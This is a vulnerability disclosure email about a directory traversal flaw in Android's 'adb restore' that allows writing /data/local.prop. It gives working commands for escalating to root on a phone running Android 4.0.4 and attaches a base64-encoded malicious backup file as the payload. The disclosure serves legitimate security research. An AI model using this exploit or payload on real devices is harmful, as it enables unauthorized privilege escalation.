--e89a8f502e7285035f04df96e80b
Content-Type: text/plain; charset=ISO-8859-1
Hi,
adb (Android Debug Bridge) backup/restore allows you to backup and
restore applications via adb, including system applications.
The backed up files are stored in tar.zlib (named .ab by default)
files. "adb restore" is vulnerable to a directory traversal attack. By
creating a file named
"apps/com.andoird.settings/db/../../../local.prop" inside the backup
file, the restore operation would restore the file onto
/data/local.prop (rather than
/apps/apps/com.android.settings/databases/...).
The "apps","com.android.setttings" and "db" directory names are
extracted for determining the package name and the directory
(db=>database) to restore the relevant file onto, and everything that
follows is expected to be the filename.
This vulnerability is not specific to com.android.settings
(demonstrated below), but rather any system application that support
backup and restore.
One can use this vulnerability for escalating privileges to root on
Android phones supporting adb backup/restore (for example) as follows:
# tested on HTC phone with android 4.0.4. This will likely work on
other configurations as well with some modifications.
# backup your settings app, before we overwrite its files.
adb backup -f settings.ab com.android.settings
(select approve to begin backup)
# restore the malformed backup file, which will create
/data/local.prop (with ro.kernel.qemu=1) -- attached to this email.
adb restore special.ab
# restart the phone.
adb shell
# adb should now run as root.
# install SU, or create a setuid root shell somewhere.
# delete /data/local.prop
# the malformed backup file will likely break you settings app, so
expect some oddities until it's all restored.
adb restore settings.app
Bin4ry and later Saurik had used a race condition in "adb restore"
(http://forum.xda-developers.com/showthread.php?t=1886460) to gain
root, while this attack also uses adb restore, it uses a different
attack vector, and does not involve any race conditions.
Thanks,
Ariel.
--
Recover Information Technologies LTD.
http://www.recover.co.il
--e89a8f502e7285035f04df96e80b
Content-Type: application/octet-stream; name="special.ab"
Content-Disposition: attachment; filename="special.ab"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_hhtigjor0
QU5EUk9JRCBCQUNLVVAKMQoxCm5vbmUKeJztV1tuXDcM7bdXMSuYkBIpUR9dS0GJVBE08bi2s/+e
6yRGjSZB0qCPAKN56GpEUXwcHmn87u7h1bq8Pftt3F9ex/khHx9f3/768OqXt377eufD40/f24io
EZ3Qc9cX/VMT7fXE3JS1k3A/ETdW/elE373zV7R3D49+D1O+V897X07P/Q/S+OZTyb9hPd43dMM3
layQuD31dZATVSrE+BQaRLOOYWQtSNva2ytRIN+juDUxa7tjzHgJ6bHUeEhlLCOsblRVMdMYOlW1
VuZaifl5xjDjUhu31UZrUFda4okh2SApz5IdkiEBCW3ZBStGywKr0GvvkMfulM/yDvkuDG0CnRtS
8heZ+RUy9VMypRxB+kQcBpyD8e2F/BGAP49LtoqngH/JWFepIv4VeqvWgpdgpJXUn2br8VxHPUx5
MXuN9rdFGwjnQp9FMB8IRioO9McTlo8no/LUM0K8upFi4aLQqMYr0r1prmUODmxZoZFWi16oT+zF
PFNRPdV9Zpmq0Ds8dmdpCG5BkRUs6Aux7jNmaUXqNDdqq7RZBTHrWqrLKM1KkUESC4kaNfsiX5ud
dFkXuDqp9olA0oiBIEYR6E5u0wO+9nokfiinI+0uVoLGRO1Ptq7J8GrYYndkN5qh8gckI7WF2syw
tHBue3iFq2Os2sEa4i12xsTGU8RJRlL30sZea5elMuDl2hXeSmzQC7wL21hXJ2IiawOmnX2W3nlM
/KiwRjxoad2LJTmmaMBsAH/PmaOuMV0S2laqFORfKSGtDTFHGLzsLe7UY+ru6eXI9/C2eMK6ApCX
bSODeZCNIzPqg402a0nDnDrOLK0wDQYgkrw0c1npT7xYHYnf66i9jZrkeI9d9InjreEjshOhmDVi
rOllIN1AhPUlSFq1XYCIVcY4dKzxcT1ALhjz8etMo6/X4wwecKSUR79ywrdwgn3ujFsfs4K9cbLV
gw7AAXt/+fz7wB7gCu0INwPsQBhvlFQS9hMUBvbxaP2ILBWg2cxpBSigd5sQdJQOErl9dphcuKAE
F6/eeO0lZUev0KYoLvIkM5aVex2VhfMCmZRGKvBsbMb3lHIUuc1tNjXAHGUkML4bZQQXACpUkb8s
JWsaGEqWVQ7EMBgYtTltHNQDiyqsUfAJlkHAbY+SjgJlkAGQ1Sc8AQltCva9m6jnPkirjz0dmHGW
uYDD1XkOAM9gOdAN6xWA62AMMdG1+xSKhlgCjOAmeGwy1GdLHRVLpXBvumTw7GXPZogDBfhTbYFS
R1Tpy2Yt2EBqbpg6+QA/WAMMYmPCerEIQWxKhg9ZzZGs0GkAAw6JcE/MiDQcuYlKxJqjKA7JA50K
6xMcEcU0W0qK4VC2NbHTrNpv/uur31Pzz97/Y746nz+831yWvznf3V/u/s4ex/1f5PTiilyex8eA
T1wQ/tZ6q3rCkYeq/pfv//eXyxf/6UBs7y/M/6D3//vL+be8v80359/z7buf+f+Bymu7tmu7tmv7
p9vNH/SZm/Q=
--e89a8f502e7285035f04df96e80b--